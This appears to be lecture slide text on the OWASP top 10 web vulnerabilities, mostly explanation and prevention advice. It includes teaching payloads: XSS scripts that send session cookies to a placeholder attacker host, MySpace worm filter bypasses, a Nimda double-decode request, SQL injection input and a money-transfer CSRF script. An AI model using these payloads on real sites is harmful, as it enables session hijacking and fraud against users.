Web Security Vulnerabilities OWASP top 10 2012 and

Web Security

Vulnerabilities

OWASP top 10 (2012) and its evolution OWASP top 10 2007 OWASP top 10 2012 MITRE 2006 Raw Ranking 1. Cross Site Scripting (XSS) 4. Cross Site Scripting (XSS) 1 2. Injection flaws 6. Injection flaws 2 3. Malicious file execution (new) 4. Insecure Direct Object Reference 3 2. Broken Access control (split in 2007 top 10) 5. Cross Site Request Forgery (CSRF) (New) 5 36 6. Information Leakage and Improper Error Handling 7. Improper error handling 6 7. Broken Authentication and Session Management 3. Broken Authentication and Session Management 14 8. Insecure Cryptographic Storage 8. Insecure Storage 8 9. Insecure Communication (New) Discussed in 10. Insecure Configuration Management 8 10. Failure to Restrict URL Access 2. Broken Access Control (split in 2007 top 10) 14 <removed in 2007> 1. Unvalidated input 7 <removed in 2007> 5. Buffer Overflows 4, 8, and 10 <removed in 2007> 9. Denial of Service 17 <removed in 2007> 10. Insecure Configuration Management 29

1. XSS � XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. � XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc. � Simple example: echo $Unvalidated. Output � Types of XSS � Reflected XSS � Unvalidated. Ouput = user_input � user_input might be: %3 Cscript%20 src%3 D%22 http%3 A//example. com/evil. js%22%3 E%3 C/script%3 E � Which may be returned to browser as: <script src=http: //example. com/evil. js></script> � Stored XSS � Unvaliated. Output comes from storage (e. g. database, BLOG, configuration file) � Stored information cannot be assumed to be safe � DOM based XSS � Unvalidated. Out contains a script that manipulates the DOM, leading to e. g. phishing attack � Hybrid

More examples of XSS this will display the content of the session cookie <script>alert(document. cookie); </script> Passing the cookie to a malicious site. <script>document. location='http: //www. hacked. com/cgi-bin/cookie. cgi? '%20+document. cookie</script> Embedding javascript in a link to a image file. img src="javascript: [code]”

XSS – My. Space Worm �“Samy” – Using XSS to invite others to add him to the friend list �Requests are automatically generated using AJAX (HTTP GET and POST) �“In less than 24 hours, ‘Samy’ had amassed over 1 million friends on the popular online community” �Potential to spread malicious worms is significant �http: //fast. info/myspace/

XSS protection � Output encoding � e. g. echo htmlentities($Unvalidated. Output) (meta characters will be HTML encoded) � Use owasp/microsoft Anti-XSS library � Input Validation � Specify the output encoding (such as ISO 8859 -1, or UTF 8). � Do not allow the attacker to choose this for your users � Do not use “blacklist” validation � Prefer Indirect Selection and “whitelisting” � Watch out for canonicalization errors � Decode input to a canonical internal representation before validation � Make sure the application does not decode the same input twice! � Language specific recommendations � Java: Use Struts framework � Input validator � Output mechanisms �. NET: use Microsoft Anti-XSS library � PHP: ensure output is passed through htmlentities() or htmlspecialchars(), or use the PHP Anti-XSS library

Double Decode Exploit (Nimda) GET /scripts/. . %255 cwinnt/system 32/cmd. exe? cmd+/c+dir+c: HTTP/1. 0 URL Decode – 1 st round /. . %5 cwinnt URL Decode – 2 nd round /. . winnt � URL encoding: � http: //www. w 3 schools. com/TAGS/ref_urlencode. asp

Input Validation � Blacklisting should be avoided if possible: � Myspace blacked listed <script>, but allowed <div> � Here is what it missed (2005 Myspace worm) <div style=“background: url(‘javascript: alert(1)’)”> � You can pass a filter for <script>, for some browsers as <sc ript> � Another ingenious ways of bypassing a filter for inner. HTML (2005 Myspace worm) Alert(eval(‘document. body. inne’ + ‘r. HTML’)); � Indirect Selection: best option, if possible � User select from a predefined list of values � Only an index to the selected value is passed to the application � Whitelisting � Specify what is allowed instead of what is not allowed (blacklisting) � FSA is a good tool

Other considerations in input validation � Data type (string, integer, real, etc…) � Allowed character set � Minimum and maximum length � Whether null is allowed � Whether the parameter is required or not � Whether duplicates are allowed � Numeric range � Specific legal values (enumeration) � Specific patterns (regular expressions)

2. Injection Flaws � Injection flaws, particularly SQL injection, are common in web applications � Injection occurs when user-supplied data is sent to an interpreter as part of a command or query � The attacker's hostile data tricks the interpreter into executing unintended commands or changing data � Types � SQL, LDAP, XPATH, XSLT, HTML, XML, OS command, etc. � Example in PHP: $sql = “SELECT * FROM table WHERE id= ‘ “. $_REQEST[‘id’]. “’”; Attack scenario: id= 1234 OR 1=1 � Prevention � Input validation � Use strongly typed parameterized query API � Enforce least privilege (when connecting to database) � Avoid detailed error messages (they are useful to the attackers) � Use stored procedures (but it isn’t 100% safe either!) � For example exec(), concatenation of arguments) � Do not use dynamic query interfaces (e. g. mysql_query()) � Do not use simple escaping functions (e. g. str_replace(“’”, ”’”) � Watch out for canonicalization errors

3. Malicious File Injection � Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise � Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users

4. Insecure Direct Object Reference � A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. � Attackers can manipulate those references to access other objects without authorization. � Example: � Attacker signs on with a legitimate account number � Site appends the account number as part of subsequent queries as either part of the URL or as a form parameter � Attacker manipulates the account number being submitted (via HTTP proxy) and resubmits the modified query � Attacker is able to view account information of other account holders via brute force trial and error � Prevention � Avoid exposing private object references to users � Validate any private object references � Verify authorization to all referenced objects

5. Cross Site Request Forgery (CSRF) � A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. � CSRF can be as powerful as the web application that it attacks. Takes advantage of logged on session to submit malicious transactions. � Example: � User logged on online banking in one browser session � User browses a malicious site in a different window � The malicious site contains an invisible i. Frame <iframe name="myframe" style="width: 0 px; height: 0 px; border: 0 px"></iframe> with the following script <script type="text/javascript"> function fillframe() { mf = window. frames["myframe”] html = '<form name="getrichform" action="https: //secure. mybank. com/transfermoney. php" method="post">'; html = html + ' <input type="hidden" name=”amount" value="all"/>'; html = html + ' <input type="hidden" name="to" value="my friend bob"/>'; html = html + ' <input type="hidden" name="when" value="right now"/>'; html = html + '</form>’; mf. document. body. inner. HTML = html; mf. document. getrichform. submit(); } </script>

XSS vs. CSRF �XSS exploits the trust of a client to a server � i. e. the client trusts contents from the server �CSRF exploits the trust of a server to a client � i. e. the transaction is initiated by the authenticated client �CSRF can be launched independent of XSS � it can be launched using XSS as well

Prevention for CSRF � Ensure that there are no XSS vulnerabilities � Insert custom random tokens into every form and URL that will not be automatically submitted by the browser. For example <form action=“/transfer. do” method=“post”> <input type=“hidden” name =“ 9 u 09 i 0 i” value=“ 58 p 9 lkdfjlk”> … </form> � Verify the submitted token is valid for the current user � For sensitive data or value transaction, re-authenticate

6. Information Leakage and Improper Error Handling �Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. � Attackers use this weakness to steal sensitive data, or conduct more serious attacks. �Example: � Error messages: “invalid user” and “wrong password” may give away valid user names � Better message: “invalid user name or password”

6. Information Leakage and Improper Error Handling � Prevention � Ensure that the entire software development team shares a common approach to exception handling � Disable or limit detailed error messages � Scrub comments/error messages for development before final release � Ensure that secure paths have multiple outcomes return similar or identical error messages � Aware that common frameworks return different HTTP error codes depending on if the error is within your custom code or within the framework code. � Overwrite default error handler. � This reduces an automated scanner’s ability to detect situations where a serious error has occurred � Managing conflicting objectives � Different mind set for secure application development vs. traditional software development � Competing interest for help desk needs (more specific error message) vs. security considerations

7. Broken Authentication and Session Management � Account credentials and session tokens are often not properly protected. � Attackers compromise passwords, keys, or authentication tokens to assume other users' identities. � Examples � Allowing user to access parts of the application without the appropriate privilege � Viewing unauthorized content � Authorization loopholes � External facing administrative interfaces � Weaknesses are more often introduced through ancillary authentication functions such as: � � � logout password management timeout remember me secret question account update

7. Broken Authentication and Session Management Prevention � Defense in depth � Well defined role based and granular access control � Use common session management mechanism � Do not roll your own unless there is a very good reason � Do not accept new, preset or invalid session identifier � Regenerate a new session upon successful authentication � Use a single, strong, authentication mechanism � Do not allow the login process to start from an unencrypted page � Ensure every page has a logout link � Use a timeout period � Correlate session IDs to a individual user � Protect ancillary authentication information the same way one protects passwords � e. g. questions and answers for password reset � Do not expose any session identifiers or any portion of valid credentials in URLs or logs � Be careful of sending secrets to registered email addresses � � Be careful of allowing users to change their email address Perhaps sent a message to the previous email address before enacting the change

Accidental Session ID Denial of Service Attacks A commercial site is running Broad. Vision Application Server: Sample cookies (BV_IDS) ccddadcmmlflldecflfcfmgdglndfkn. 0: @@@@0428436698. 1099845335@@@@ ccccadcmmlflijgcflfcfmgdglndfkm. 0: @@@@0460548002. 1099846334@@@@ <server instance ID>. 0: @@@@<random number>. <clock tick>@@@@ Mozilla was setup to deny cookies from the site The site was setup to redirect any user without a BV_IDS cookie to a no-cookie page The no-cookie page redirects the user back to the initial page, creates a redirect loop Over 20, 000 requests were issued from one IP, and 20, 000 different sessions were created � When the hourly session clean up occurred, the server hung due to the number of sessions created � � Most newer versions of Mozilla/IE browser have a redirect limit

Session ID in URL The use of session ID in the URL should be discouraged. The URL can be � cached by a search engine � Recorded in proxy logs � Retained in URL dropdown list A search in the google for site, with session. ID “inurl: session. ID” in the URL and the word “shopping cart”, turns up 112, 000 entries. http: //www. purposedrivenlife. com/basket. aspx? User. ID=228473&Session. ID= 2 j. Qvli. Aq 0 Jb 24 SXYu 2 k. F&SID=1&Category_ID=2&Product_ID=95 http: //ue. eu. int/cms 3_applications/librarie/free. Book. Shop. asp? Session. ID=201241131271825256632533706011819&LANG=EN&Book. Type=1&Sess. Lang=EN&cms. ID=544 http: //www. systematika. it/results. asp? SKU_PUBLISHER=CPB 1360 WWFS 18 0&Session. ID=1073331003

Session Hijacking – Capturing the session cookies and assume the identity of another user. The session ID can be gained using Cross-Site Scripting attack The session ID can be brute forced To test for session hijacking attacks are usually done using two separate browsers. Mozilla/Netscape/Firefox – Uses shared memory for cookies Internet Explorer – Uses separate memory for each newly created instance

Session Fixation Attack is the idea of induce an application to inadvertently accept a Session ID set by the User. http: //www. net-security. org/dl/articles/session_fixation. pdf An attacker sets a pre-determined Session ID in the URL, persuade the unsuspecting user to authenticate, and hijack the session. Example: http: //dentistry. superlinks. com/admin/main. cfm? CFID=000000&CFTOKEN=000000 Sent the link to an unsuspecting user, and the user authenticates The 000000 value for CFID/CFTOKEN becomes a valid session Someone can hijack the session using the known session ID

8. Ensure Cryptographic Storage � Web applications rarely use cryptographic functions properly to protect data and credentials. � Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud. � Common examples include � Not encrypting sensitive data � Using home grown algorithms � Insecure use of strong algorithm � Continued use of proven weak algorithm (MD 5, SHA-1, RC 3, RC 4, etc…) � Hard coding keys, and storing keys in unprotected stores � Use of Encoding instead of encryption

8. Ensure Cryptographic Storage � Prevention � Do not create your own cryptographic algorithms � Do not use weak algorithms � Generate keys offline and store private keys with extreme care � Ensure infrastructure credentials are properly secured � e. g. database credentials � Ensure that encrypted data stored on disk is not easy to decrypt � Never store unnecessary data � e. g. POS terminals

9. Insecure Communications � Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications. � Example: application failed to encrypt network traffic, or using SSL improperly � Prevention � Use SSL for all connections that are authenticated or transmitting sensitive or valuable data � Such as: credentials, credit card details, health and other private information � When using SSL library be aware of the following: Certification validation often checked as default as part of the library. BUT, do not make that assumption. � However, a valid certificate does NOT mean it is the right certificate Libraries don’t check that, application must validate every field, especially “subject. Alt. Name” � Checking CRL Most libraries, today, do not check that as default Checking it typically requires a lot code �

10. Failure to Restrict URL Access � Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. � Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. � “Hidden” or “specialized” URLs, unfortunately, many of them deal with systems admin. � Prevention � Ensure that access control matrix is part of the business, architecture, and design of the � � � application Ensure that all URLs and business functions are protected by an effective access control mechanism Perform a penetration test Pay close attention to include/library files (especially those that are executable, e. g. . php) Do not assume that users will be unaware of special or hidden URLs or APIs Block to all file types that your application should never use (e. g. only allow. html, . pdf, . php) Keep up to date with virus protection and patches